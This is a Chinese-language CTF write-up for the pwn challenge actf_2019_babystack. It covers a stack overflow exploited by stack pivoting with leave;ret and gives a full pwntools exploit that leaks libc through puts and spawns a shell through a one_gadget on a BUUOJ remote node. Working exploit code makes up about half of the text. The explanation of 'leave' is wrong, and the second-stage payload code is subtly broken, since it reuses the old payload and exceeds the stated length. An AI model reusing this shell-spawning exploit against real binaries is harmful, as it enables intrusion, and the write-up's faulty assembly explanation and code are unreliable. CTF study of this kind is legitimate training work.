actf_2019_babystack | stack pivoting

静态分析

查看保护机制

actf_2019_babystack | stack pivoting

IDA分析

actf_2019_babystack | stack pivoting

存在有限栈溢出,可以输入 0xE0 字节的数据,而 s 在栈上只有 0xD0 的空间

由于没有开启 Canary,常规做法是 ROP,但是由于溢出字节长度的限制,需要进行一次栈迁移再进行

栈迁移的核心思路是把 esp&ebp 寄存器的地址改到到一个可读可写的空间上(比如堆栈)

这道题直接显式输出的栈空间的地址,所以考虑把 ROP 的代码直接迁移到本栈上(由于开启了 NX 保护不能直接写 shellcodce,所以要用 gadgets)

具体实现

汇编指令 leave 和 ret 的本质:

leave:
      push ebp
      mov ebp, esp
ret:
      pop eip

首先看 payload:

payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
payload = payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)

利用栈溢出把主函数栈的 ebp 覆写成 s 的地址,ret_addr 覆写成 leave + ret 的 gadget

在执行 leave 的时候会把 esp 修改成 s 的地址,在执行 ret 的时候会把程序控制流劫持到栈上执行栈上

payload 的前半段是我们精心构造的 ROP,第一次注入用于泄露 puts 函数地址从而泄露 libc 地址

执行完毕后由返回 main(0x400800) 带着 one_gadget 准备进行第二次注入

payload 中的 'a'*0x8 是 Fake_ebp,在这里是无用的数据,要注意每次注入的时候要保证 payload 长度为 0xD0 + 0x10 = 0xE0

EXP

from pwn import *
context.log_level = 'debug'
#io = process('./ACTF_2019_babystack')
io = remote('node3.buuoj.cn', '27528')
e = ELF('./ACTF_2019_babystack')
libc = ELF('./libc-2.27.so')

def debug():
    gdb.attach(io)
    puase()

pop_rdi_ret = 0x400ad3
leave_ret = 0x400A18

io.sendlineafter('>', '224')
io.recvuntil('0x')
stack_addr = int(io.recv(12), 16)
log.success('stack addr: '+hex(stack_addr))

payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
payload = payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)

io.send(payload)
io.recvuntil('Byebye~\n')
libc_address = u64(io.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
log.success('libc addr: '+hex(libc_address))

bin_sh_addr = libc_address + libc.search('/bin/sh').next()
system_addr = libc_address + libc.symbols['system']

sleep(4)

io.sendlineafter('>', '224')
io.recvuntil('0x')
stack_addr = int(io.recv(12), 16)
log.success('stack addr: '+hex(stack_addr))

#debug()
'''
0x4f2c5 execve('/bin/sh', rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve('/bin/sh', rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve('/bin/sh', rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

one_gadget = libc_address + 0x4f2c5

payload = 'a'*0x8 + p64(one_gadget) + payload.ljust(0xD0, 'a')
payload += p64(stack_addr) + p64(leave_ret)
io.send(payload)

io.interactive()
上一篇:File类


下一篇:程序员的奋斗史(三十八)——大学断代史(二)——我与数据库的故事